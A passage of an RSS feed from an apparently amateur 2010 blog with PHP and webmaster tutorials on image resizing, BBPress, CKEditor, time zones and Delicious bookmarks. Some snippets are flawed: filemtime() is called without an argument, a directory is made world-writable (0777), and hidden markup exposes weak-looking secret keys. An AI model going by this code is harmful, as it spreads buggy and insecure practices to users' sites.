<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Webmaster Sucks &#187; Php</title>
	<atom:link href="http://www.webmastersucks.com/cats/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.webmastersucks.com</link>
	<description>Here I share stuff I used to suck at as a novice webmaster..</description>
	<lastBuildDate>Tue, 11 May 2010 10:56:35 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Resizing All Images in Directory</title>
		<link>http://www.webmastersucks.com/resizing-all-images-in-directory/</link>
		<comments>http://www.webmastersucks.com/resizing-all-images-in-directory/#comments</comments>
		<pubDate>Tue, 11 May 2010 10:56:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Php]]></category>
		<category><![CDATA[directory list]]></category>
		<category><![CDATA[directory list php]]></category>
		<category><![CDATA[resize image]]></category>
		<category><![CDATA[resize image directory]]></category>
		<category><![CDATA[resize image php]]></category>
		<category><![CDATA[resizing image]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=272</guid>
		<description><![CDATA[
			
				
			
		
I need a script for resize all images in one directory. I have create thumbnails for a site. I have not so much time write these code. I found two different code and mixed them. I love PHP, it is very easy to solve problem with little scripts. If you resize in same directory it [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fresizing-all-images-in-directory%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fresizing-all-images-in-directory%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>I need a script for resize all images in one directory. I have create thumbnails for a site. I have not so much time write these code. I found two different code and mixed them. I love PHP, it is very easy to solve problem with little scripts. If you resize in same directory it will be resize resized images. If you need in same directory, just resized for temp directory and move it to your real one.</p>
<div>
<ol>
<li><a href="http://www.white-hat-web-design.co.uk/articles/php-image-resizing.php" target="_blank">Resizing image with Php by Simon Jarvis</a></li>
<li><a href="http://www.spoono.com/php/tutorials/tutorial.php?id=10" target="_blank">Directory Listing by Spoono</a></li>
</ol>
<pre class="brush: php;">
&lt;?
/*
* Class: SimpleImage, Author: Simon Jarvis, Copyright: 2006 Simon Jarvis, Date: 08/11/06
* Link: http://www.white-hat-web-design.co.uk/articles/php-image-resizing.php
* See the GNU General Public License for more details: http://www.gnu.org/licenses/gpl.html
*/

class SimpleImage {
   var $image;
   var $image_type;

   function load($filename) {
      $image_info = getimagesize($filename);
      $this-&gt;image_type = $image_info[2];
      if( $this-&gt;image_type == IMAGETYPE_JPEG ) {
         $this-&gt;image = imagecreatefromjpeg($filename);
      } elseif( $this-&gt;image_type == IMAGETYPE_GIF ) {
         $this-&gt;image = imagecreatefromgif($filename);
      } elseif( $this-&gt;image_type == IMAGETYPE_PNG ) {
         $this-&gt;image = imagecreatefrompng($filename);
      }
   }
   function save($filename, $image_type=IMAGETYPE_JPEG, $compression=75, $permissions=null) {
      if( $image_type == IMAGETYPE_JPEG ) {
         imagejpeg($this-&gt;image,$filename,$compression);
      } elseif( $image_type == IMAGETYPE_GIF ) {
         imagegif($this-&gt;image,$filename);
      } elseif( $image_type == IMAGETYPE_PNG ) {
         imagepng($this-&gt;image,$filename);
      }
      if( $permissions != null) {
         chmod($filename,$permissions);
      }
   }
   function output($image_type=IMAGETYPE_JPEG) {
      if( $image_type == IMAGETYPE_JPEG ) {
         imagejpeg($this-&gt;image);
      } elseif( $image_type == IMAGETYPE_GIF ) {
         imagegif($this-&gt;image);
      } elseif( $image_type == IMAGETYPE_PNG ) {
         imagepng($this-&gt;image);
      }
   }
   function getWidth() {
      return imagesx($this-&gt;image);
   }
   function getHeight() {
      return imagesy($this-&gt;image);
   }
   function resizeToHeight($height) {
      $ratio = $height / $this-&gt;getHeight();
      $width = $this-&gt;getWidth() * $ratio;
      $this-&gt;resize($width,$height);
   }
   function resizeToWidth($width) {
      $ratio = $width / $this-&gt;getWidth();
      $height = $this-&gt;getheight() * $ratio;
      $this-&gt;resize($width,$height);
   }
   function scale($scale) {
      $width = $this-&gt;getWidth() * $scale/100;
      $height = $this-&gt;getheight() * $scale/100;
      $this-&gt;resize($width,$height);
   }
   function resize($width,$height) {
      $new_image = imagecreatetruecolor($width, $height);
      imagecopyresampled($new_image, $this-&gt;image, 0, 0, 0, 0, $width, $height, $this-&gt;getWidth(), $this-&gt;getHeight());
      $this-&gt;image = $new_image;
   }
}
// End of SimpleImage class

/* Directory Listing
Source : http://www.spoono.com/php/tutorials/tutorial.php?id=10
*/

// Define the path as relative
$path = &quot;/home/site/public_html/images/&quot;;

// Using the opendir function
$dir_handle = @opendir($path) or die(&quot;ERROR: Cannot open  &lt;b&gt;$path&lt;/b&gt;&quot;);

echo(&quot;Directory Listing of $path&lt;br/&gt;&quot;);

//running the while loop
while ($file = readdir($dir_handle))
{
   if($file != &quot;.&quot; &amp;&amp; $file != &quot;..&quot;)
   {
	$image = new SimpleImage();
	$image-&gt;load(&quot;images/&quot;.$file);
	$image-&gt;resize(80,60);
	$image-&gt;save(&quot;images2/mini_&quot;.$file);
	echo(&quot;&amp;bull; $file &lt;br&gt;&quot;);
   }
}

//closing the directory
closedir($dir_handle);
?&gt;
</pre>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/resizing-all-images-in-directory/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BBPress is Forum of WordPress</title>
		<link>http://www.webmastersucks.com/bbpress-is-forum-of-wordpress/</link>
		<comments>http://www.webmastersucks.com/bbpress-is-forum-of-wordpress/#comments</comments>
		<pubDate>Fri, 04 Sep 2009 13:03:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Php]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[bb press]]></category>
		<category><![CDATA[bbpress]]></category>
		<category><![CDATA[bbpress forum]]></category>
		<category><![CDATA[bbpress seo]]></category>
		<category><![CDATA[the martial arts]]></category>
		<category><![CDATA[word press]]></category>
		<category><![CDATA[wordpress forum]]></category>
		<category><![CDATA[wordpress seo]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=247</guid>
		<description><![CDATA[
			
				
			
		
I create a new web site about &#8220;The Martial Arts&#8221; with Wordpress. I want to create a forum work with WordPress together. I remember WordPress team works on forum software. They called &#8220;BBPress&#8220;. I install BBPress and it is asked me some WordPress questions about config file, i set them and i have got forum [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fbbpress-is-forum-of-wordpress%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fbbpress-is-forum-of-wordpress%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>I create a new web site about &#8220;<a href="http://www.the-martial-arts.com" target="_blank">The Martial Arts</a>&#8221; with <a href="http://www.wordpress.org" target="_blank">Wordpress</a>. I want to create a forum work with WordPress together. I remember WordPress team works on forum software. They called &#8220;<a href="http://www.bbpress.org" target="_blank">BBPress</a>&#8220;. I install BBPress and it is asked me some WordPress questions about config file, i set them and i have got forum integrated with WordPress. Users are same in forum and WordPress. I suggest you BBPress if you are using Wordpress and want basic forum. BBPress is better in SEO. It is always come with its own seo system like wordpress. Here is my <a href="http://www.the-martial-arts.com/forum" target="_blank">forum &gt;</a></p>
<p><strong>Read Config File to install BB Press</strong></p>
<pre class="brush: php;">define('AUTH_KEY', 'aaaaa');

define('SECURE_AUTH_KEY', 'bbbbb');

define('LOGGED_IN_KEY', 'ccccc');

define('NONCE_KEY', 'ddddd');</pre>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 37px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">define(&#8216;AUTH_KEY&#8217;, &#8216;Martial1&#8242;);</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 37px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">define(&#8216;SECURE_AUTH_KEY&#8217;, &#8216;Martial2&#8242;);</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 37px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">define(&#8216;LOGGED_IN_KEY&#8217;, &#8216;Martial3&#8242;);</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 37px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">define(&#8216;NONCE_KEY&#8217;, &#8216;Martial4&#8242;);</div>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/bbpress-is-forum-of-wordpress/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>FCK Editor is Reloaded: CK Editor</title>
		<link>http://www.webmastersucks.com/fck-editor-is-reloaded-ck-editor/</link>
		<comments>http://www.webmastersucks.com/fck-editor-is-reloaded-ck-editor/#comments</comments>
		<pubDate>Thu, 03 Sep 2009 15:22:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Php]]></category>
		<category><![CDATA[ck editor]]></category>
		<category><![CDATA[ck editor 3.0]]></category>
		<category><![CDATA[ckeditor]]></category>
		<category><![CDATA[ckeditor 3.0]]></category>
		<category><![CDATA[ckeditor3]]></category>
		<category><![CDATA[demo ck editor]]></category>
		<category><![CDATA[demo ckeditor]]></category>
		<category><![CDATA[dowload ck editor]]></category>
		<category><![CDATA[download ckeditor]]></category>
		<category><![CDATA[fck editor]]></category>
		<category><![CDATA[fck editor 3.0]]></category>
		<category><![CDATA[fckeditor]]></category>
		<category><![CDATA[fckeditor 3.0]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=245</guid>
		<description><![CDATA[
			
				
			
		
I always use FCK Editor in my php codes, it is really helpful for coding. 10 days ago FCK Editor is reloaded and change its name to CK Editor. There is lots of changing.
New Version of FCK Editor (CK Editor 3.0)

Working on Chrome clearly
It&#8217;s faster and faster
Better user interface
New javascript API
Work with php, asp, asp.net,Coldfusion

Download [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Ffck-editor-is-reloaded-ck-editor%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Ffck-editor-is-reloaded-ck-editor%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>I always use FCK Editor in my php codes, it is really helpful for coding. 10 days ago FCK Editor is reloaded and change its name to CK Editor. There is lots of changing.</p>
<p>New Version of FCK Editor (CK Editor 3.0)</p>
<ul>
<li>Working on Chrome clearly</li>
<li>It&#8217;s faster and faster</li>
<li>Better user interface</li>
<li>New javascript API</li>
<li>Work with php, asp, asp.net,Coldfusion</li>
</ul>
<p><a href="http://ckeditor.com/download" target="_blank">Download CK Editor &gt;</a></p>
<p><a href="http://ckeditor.com/demo" target="_blank">Demo CK Editor &gt;</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/fck-editor-is-reloaded-ck-editor/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Change Time Zone with htaccess</title>
		<link>http://www.webmastersucks.com/change-time-zone-with-htaccess/</link>
		<comments>http://www.webmastersucks.com/change-time-zone-with-htaccess/#comments</comments>
		<pubDate>Wed, 26 Aug 2009 13:20:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Php]]></category>
		<category><![CDATA[change time zone]]></category>
		<category><![CDATA[change timezone]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[time zone]]></category>
		<category><![CDATA[time zone php]]></category>
		<category><![CDATA[timezone]]></category>
		<category><![CDATA[timezone htaccess]]></category>
		<category><![CDATA[timezone php]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=243</guid>
		<description><![CDATA[
			
				
			
		
In my server there are some sites from Turkey, some of from England, some of from Germany. I have got timezone problem in that sites. I found easy solution for this. Just add .htaccess this code:
php_value date.timezone &#34;Europe/Istanbul&#34;
or
php_value date.timezone &#34;America/Chicago&#34;
You can test date is change or not

&#60;?php
 echo date('d-m-Y H:i:s');
?&#62;
If htaccess can't solve your problem, [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fchange-time-zone-with-htaccess%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fchange-time-zone-with-htaccess%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>In my server there are some sites from Turkey, some of from England, some of from Germany. I have got timezone problem in that sites. I found easy solution for this. Just add .htaccess this code:</p>
<pre class="brush: plain;">php_value date.timezone &quot;Europe/Istanbul&quot;</pre>
<p>or</p>
<pre class="brush: plain;">php_value date.timezone &quot;America/Chicago&quot;</pre>
<p>You can test date is change or not</p>
<pre class="brush: php;">
&lt;?php
 echo date('d-m-Y H:i:s');
?&gt;</pre>
<pre>If htaccess can't solve your problem, add this code to your php
<pre class="brush: php;">
&lt;?php
putenv(&quot;TZ=Europe/Istanbul&quot;);
?&gt;</pre>
<p><strong>Full List of Time Zone</strong><br />
AD Europe/Andorra<br />
AE Asia/Dubai<br />
AF Asia/Kabul<br />
AG America/Antigua<br />
AI America/Anguilla<br />
AL Europe/Tirane<br />
AM Asia/Yerevan<br />
AN America/Curacao<br />
AO Africa/Luanda<br />
AQ Antarctica/McMurdo<br />
AQ Antarctica/South_Pole<br />
AQ Antarctica/Palmer<br />
AQ Antarctica/Mawson<br />
AQ Antarctica/Davis<br />
AQ Antarctica/Casey<br />
AQ Antarctica/DumontDUrville<br />
AR America/Buenos_Aires<br />
AR America/Rosario<br />
AR America/Cordoba<br />
AR America/Jujuy<br />
AR America/Catamarca<br />
AR America/Mendoza<br />
AS Pacific/Pago_Pago<br />
AT Europe/Vienna<br />
AU Australia/Lord_Howe<br />
AU Australia/Hobart<br />
AU Australia/Melbourne<br />
AU Australia/Sydney<br />
AU Australia/Broken_Hill<br />
AU Australia/Brisbane<br />
AU Australia/Lindeman<br />
AU Australia/Adelaide<br />
AU Australia/Darwin<br />
AU Australia/Perth<br />
AW America/Aruba<br />
AZ Asia/Baku<br />
BA Europe/Sarajevo<br />
BB America/Barbados<br />
BD Asia/Dacca<br />
BE Europe/Brussels<br />
BF Africa/Ouagadougou<br />
BG Europe/Sofia<br />
BH Asia/Bahrain<br />
BI Africa/Bujumbura<br />
BJ Africa/Porto-Novo<br />
BM Atlantic/Bermuda<br />
BN Asia/Brunei<br />
BO America/La_Paz<br />
BR America/Noronha<br />
BR America/Belem<br />
BR America/Fortaleza<br />
BR America/Araguaina<br />
BR America/Maceio<br />
BR America/Sao_Paulo<br />
BR America/Cuiaba<br />
BR America/Porto_Velho<br />
BR America/Manaus<br />
BR America/Porto_Acre<br />
BS America/Nassau<br />
BT Asia/Thimbu<br />
BW Africa/Gaborone<br />
BY Europe/Minsk<br />
BZ America/Belize<br />
CA America/St_Johns<br />
CA America/Halifax<br />
CA America/Glace_Bay<br />
CA America/Goose_Bay<br />
CA America/Pangnirtung<br />
CA America/Montreal<br />
CA America/Nipigon<br />
CA America/Thunder_Bay<br />
CA America/Iqaluit<br />
CA America/Winnipeg<br />
CA America/Rainy_River<br />
CA America/Rankin_Inlet<br />
CA America/Regina<br />
CA America/Swift_Current<br />
CA America/Edmonton<br />
CA America/Yellowknife<br />
CA America/Inuvik<br />
CA America/Dawson_Creek<br />
CA America/Vancouver<br />
CA America/Whitehorse<br />
CA America/Dawson<br />
CC Indian/Cocos<br />
CD Africa/Kinshasa<br />
CD Africa/Lubumbashi<br />
CF Africa/Bangui<br />
CG Africa/Brazzaville<br />
CH Europe/Zurich<br />
CI Africa/Abidjan<br />
CK Pacific/Rarotonga<br />
CL America/Santiago<br />
CL Pacific/Easter<br />
CM Africa/Douala<br />
CN Asia/Harbin<br />
CN Asia/Shanghai<br />
CN Asia/Hong_Kong<br />
CN Asia/Chungking<br />
CN Asia/Urumqi<br />
CN Asia/Kashgar<br />
CO America/Bogota<br />
CR America/Costa_Rica<br />
CU America/Havana<br />
CV Atlantic/Cape_Verde<br />
CX Indian/Christmas<br />
CY Asia/Nicosia<br />
CZ Europe/Prague<br />
DE Europe/Berlin<br />
DJ Africa/Djibouti<br />
DK Europe/Copenhagen<br />
DM America/Dominica<br />
DO America/Santo_Domingo<br />
DZ Africa/Algiers<br />
EC America/Guayaquil<br />
EC Pacific/Galapagos<br />
EE Europe/Tallinn<br />
EG Africa/Cairo<br />
EH Africa/El_Aaiun<br />
ER Africa/Asmera<br />
ES Europe/Madrid<br />
ES Africa/Ceuta<br />
ES Atlantic/Canary<br />
ET Africa/Addis_Ababa<br />
FI Europe/Helsinki<br />
FJ Pacific/Fiji<br />
FK Atlantic/Stanley<br />
FM Pacific/Yap<br />
FM Pacific/Truk<br />
FM Pacific/Ponape<br />
FM Pacific/Kosrae<br />
FO Atlantic/Faeroe<br />
FR Europe/Paris<br />
GA Africa/Libreville<br />
GB Europe/London<br />
GB Europe/Belfast<br />
GD America/Grenada<br />
GE Asia/Tbilisi<br />
GF America/Cayenne<br />
GH Africa/Accra<br />
GI Europe/Gibraltar<br />
GL America/Scoresbysund<br />
GL America/Godthab<br />
GL America/Thule<br />
GM Africa/Banjul<br />
GN Africa/Conakry<br />
GP America/Guadeloupe<br />
GQ Africa/Malabo<br />
GR Europe/Athens<br />
GS Atlantic/South_Georgia<br />
GT America/Guatemala<br />
GU Pacific/Guam<br />
GW Africa/Bissau<br />
GY America/Guyana<br />
HN America/Tegucigalpa<br />
HR Europe/Zagreb<br />
HT America/Port-au-Prince<br />
HU Europe/Budapest<br />
ID Asia/Jakarta<br />
ID Asia/Ujung_Pandang<br />
ID Asia/Jayapura<br />
IE Europe/Dublin<br />
IL Asia/Jerusalem<br />
IN Asia/Calcutta<br />
IO Indian/Chagos<br />
IQ Asia/Baghdad<br />
IR Asia/Tehran<br />
IS Atlantic/Reykjavik<br />
IT Europe/Rome<br />
JM America/Jamaica<br />
JO Asia/Amman<br />
JP Asia/Tokyo<br />
KE Africa/Nairobi<br />
KG Asia/Bishkek<br />
KH Asia/Phnom_Penh<br />
KI Pacific/Tarawa<br />
KI Pacific/Enderbury<br />
KI Pacific/Kiritimati<br />
KM Indian/Comoro<br />
KN America/St_Kitts<br />
KP Asia/Pyongyang<br />
KR Asia/Seoul<br />
KW Asia/Kuwait<br />
KY America/Cayman<br />
KZ Asia/Almaty<br />
KZ Asia/Aqtobe<br />
KZ Asia/Aqtau<br />
LA Asia/Vientiane<br />
LB Asia/Beirut<br />
LC America/St_Lucia<br />
LI Europe/Vaduz<br />
LK Asia/Colombo<br />
LR Africa/Monrovia<br />
LS Africa/Maseru<br />
LT Europe/Vilnius<br />
LU Europe/Luxembourg<br />
LV Europe/Riga<br />
LY Africa/Tripoli<br />
MA Africa/Casablanca<br />
MC Europe/Monaco<br />
MD Europe/Chisinau<br />
MG Indian/Antananarivo<br />
MH Pacific/Majuro<br />
MH Pacific/Kwajalein<br />
MK Europe/Skopje<br />
ML Africa/Bamako<br />
ML Africa/Timbuktu<br />
MM Asia/Rangoon<br />
MN Asia/Ulan_Bator<br />
MO Asia/Macao<br />
MP Pacific/Saipan<br />
MQ America/Martinique<br />
MR Africa/Nouakchott<br />
MS America/Montserrat<br />
MT Europe/Malta<br />
MU Indian/Mauritius<br />
MV Indian/Maldives<br />
MW Africa/Blantyre<br />
MX America/Cancun<br />
MX America/Mexico_City<br />
MX America/Mazatlan<br />
MX America/Chihuahua<br />
MX America/Ensenada<br />
MX America/Tijuana<br />
MY Asia/Kuala_Lumpur<br />
MY Asia/Kuching<br />
MZ Africa/Maputo<br />
NA Africa/Windhoek<br />
NC Pacific/Noumea<br />
NE Africa/Niamey<br />
NF Pacific/Norfolk<br />
NG Africa/Lagos<br />
NI America/Managua<br />
NL Europe/Amsterdam<br />
NO Europe/Oslo<br />
NP Asia/Katmandu<br />
NR Pacific/Nauru<br />
NU Pacific/Niue<br />
NZ Pacific/Auckland<br />
NZ Pacific/Chatham<br />
OM Asia/Muscat<br />
PA America/Panama<br />
PE America/Lima<br />
PF Pacific/Tahiti<br />
PF Pacific/Marquesas<br />
PF Pacific/Gambier<br />
PG Pacific/Port_Moresby<br />
PH Asia/Manila<br />
PK Asia/Karachi<br />
PL Europe/Warsaw<br />
PM America/Miquelon<br />
PN Pacific/Pitcairn<br />
PR America/Puerto_Rico<br />
PS Asia/Gaza<br />
PT Europe/Lisbon<br />
PT Atlantic/Madeira<br />
PT Atlantic/Azores<br />
PW Pacific/Palau<br />
PY America/Asuncion<br />
QA Asia/Qatar<br />
RE Indian/Reunion<br />
RO Europe/Bucharest<br />
RU Europe/Kaliningrad<br />
RU Europe/Moscow<br />
RU Europe/Samara<br />
RU Asia/Yekaterinburg<br />
RU Asia/Omsk<br />
RU Asia/Novosibirsk<br />
RU Asia/Krasnoyarsk<br />
RU Asia/Irkutsk<br />
RU Asia/Yakutsk<br />
RU Asia/Vladivostok<br />
RU Asia/Magadan<br />
RU Asia/Kamchatka<br />
RU Asia/Anadyr<br />
RW Africa/Kigali<br />
SA Asia/Riyadh<br />
SB Pacific/Guadalcanal<br />
SC Indian/Mahe<br />
SD Africa/Khartoum<br />
SE Europe/Stockholm<br />
SG Asia/Singapore<br />
SH Atlantic/St_Helena<br />
SI Europe/Ljubljana<br />
SJ Arctic/Longyearbyen<br />
SJ Atlantic/Jan_Mayen<br />
SK Europe/Bratislava<br />
SL Africa/Freetown<br />
SM Europe/San_Marino<br />
SN Africa/Dakar<br />
SO Africa/Mogadishu<br />
SR America/Paramaribo<br />
ST Africa/Sao_Tome<br />
SV America/El_Salvador<br />
SY Asia/Damascus<br />
SZ Africa/Mbabane<br />
TC America/Grand_Turk<br />
TD Africa/Ndjamena<br />
TF Indian/Kerguelen<br />
TG Africa/Lome<br />
TH Asia/Bangkok<br />
TJ Asia/Dushanbe<br />
TK Pacific/Fakaofo<br />
TM Asia/Ashkhabad<br />
TN Africa/Tunis<br />
TO Pacific/Tongatapu<br />
TR Europe/Istanbul<br />
TT America/Port_of_Spain<br />
TV Pacific/Funafuti<br />
TW Asia/Taipei<br />
TZ Africa/Dar_es_Salaam<br />
UA Europe/Kiev<br />
UA Europe/Simferopol<br />
UG Africa/Kampala<br />
UM Pacific/Johnston<br />
UM Pacific/Midway<br />
UM Pacific/Wake<br />
US America/New_York<br />
US America/Detroit<br />
US America/Louisville<br />
US America/Indianapolis<br />
US America/Indiana/Marengo<br />
US America/Indiana/Knox<br />
US America/Indiana/Vevay<br />
US America/Chicago<br />
US America/Menominee<br />
US America/Denver<br />
US America/Boise<br />
US America/Shiprock<br />
US America/Phoenix<br />
US America/Los_Angeles<br />
US America/Anchorage<br />
US America/Juneau<br />
US America/Yakutat<br />
US America/Nome<br />
US America/Adak<br />
US Pacific/Honolulu<br />
UY America/Montevideo<br />
UZ Asia/Samarkand<br />
UZ Asia/Tashkent<br />
VA Europe/Vatican<br />
VC America/St_Vincent<br />
VE America/Caracas<br />
VG America/Tortola<br />
VI America/St_Thomas<br />
VN Asia/Saigon<br />
VU Pacific/Efate<br />
WF Pacific/Wallis<br />
WS Pacific/Apia<br />
YE Asia/Aden<br />
YT Indian/Mayotte<br />
YU Europe/Belgrade<br />
ZA Africa/Johannesburg<br />
ZM Africa/Lusaka<br />
ZW Africa/Harare</p>
<p>Source : <a href="http://iceburn.info/apache/change-the-time-zone-for-an-entire-directory.html" target="_blank">http://iceburn.info/apache/change-the-time-zone-for-an-entire-directory.html</a></pre>
<p><span style="font-family: Georgia; font-size: small;"><span style="line-height: 19px; white-space: normal;"> </span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/change-time-zone-with-htaccess/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>del.icio.us bookmarks in PHP</title>
		<link>http://www.webmastersucks.com/del-icio-us-bookmarks-in-php/</link>
		<comments>http://www.webmastersucks.com/del-icio-us-bookmarks-in-php/#comments</comments>
		<pubDate>Tue, 25 Aug 2009 08:59:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Php]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[del.icio.us]]></category>
		<category><![CDATA[delicious api]]></category>
		<category><![CDATA[delicious bookmark]]></category>
		<category><![CDATA[delicious bookmark php]]></category>
		<category><![CDATA[get delicious bookmark]]></category>
		<category><![CDATA[php5]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=239</guid>
		<description><![CDATA[
			
				
			
		
This tutorial uses PHP5 to download and cache your recent bookmarks in RSS format from the Delicious API, then displays them in a HTML unordered list.

&#60;?
function get_delicious()
{
$cache = dirname(__FILE__) . '/caches/delicious';
if(filemtime() &#60; (time() - 300))
{
mkdir(dirname(__FILE__) . '/caches', 0777);
$url = 'https://api.del.icio.us/v1/posts/recent?count=10';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fdel-icio-us-bookmarks-in-php%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fdel-icio-us-bookmarks-in-php%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>This tutorial uses PHP5 to download and cache your recent bookmarks in RSS format from the <a href="http://delicious.com/help/api" target="_blank">Delicious API</a>, then displays them in a HTML unordered list.</p>
<pre class="brush: php;">
&lt;?
function get_delicious()
{
$cache = dirname(__FILE__) . '/caches/delicious';
if(filemtime() &lt; (time() - 300))
{
mkdir(dirname(__FILE__) . '/caches', 0777);
$url = 'https://api.del.icio.us/v1/posts/recent?count=10';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
// add delicious.com username and password below
curl_setopt($ch, CURLOPT_USERPWD, 'username:password');
$data = curl_exec($ch);
curl_close($ch);
$cachefile = fopen($cache, 'wb');
fwrite($cachefile, $data);
fclose($cachefile);
}
else
{
$data = file_get_contents($cache);
}
$xml = simplexml_load_string($data);

$html = '&lt;ul&gt;';
foreach($xml as $item)
{
$html .= '&lt;li&gt;&lt;a href=&quot;' . $item['href'] . '&quot;&gt;' . $item['description'] . '&lt;/a&gt; ' . $item['extended'] . '&lt;/li&gt;';
}
$html .= '&lt;li&gt;&lt;a href=&quot;http://delicious.com/briancray&quot;&gt;More of Brian Cray\'s delicious bookmarks&amp;hellip;&lt;/a&gt;&lt;/li&gt;';
$html .= '&lt;/ul&gt;';
echo $html;
}

// display them
get_delicious();
?&gt;
</pre>
<pre><strong>Source :</strong> <span style="line-height: normal;"><a href="http://briancray.com/2009/delicious-bookmarks-api-php/" target="_blank">http://briancray.com/2009/delicious-bookmarks-api-php/</a>   </span></pre>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/del-icio-us-bookmarks-in-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>str_replace Case Sensitive Problem</title>
		<link>http://www.webmastersucks.com/str_replace-case-sensitive-problem/</link>
		<comments>http://www.webmastersucks.com/str_replace-case-sensitive-problem/#comments</comments>
		<pubDate>Wed, 05 Aug 2009 09:17:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Php]]></category>
		<category><![CDATA[case sensitive]]></category>
		<category><![CDATA[ext_str_ireplace]]></category>
		<category><![CDATA[find and replace]]></category>
		<category><![CDATA[replace]]></category>
		<category><![CDATA[str_ireplace]]></category>
		<category><![CDATA[str_ireplace php]]></category>
		<category><![CDATA[str_replace]]></category>
		<category><![CDATA[str_replace case sensitive]]></category>
		<category><![CDATA[str_replace php]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=231</guid>
		<description><![CDATA[
			
				
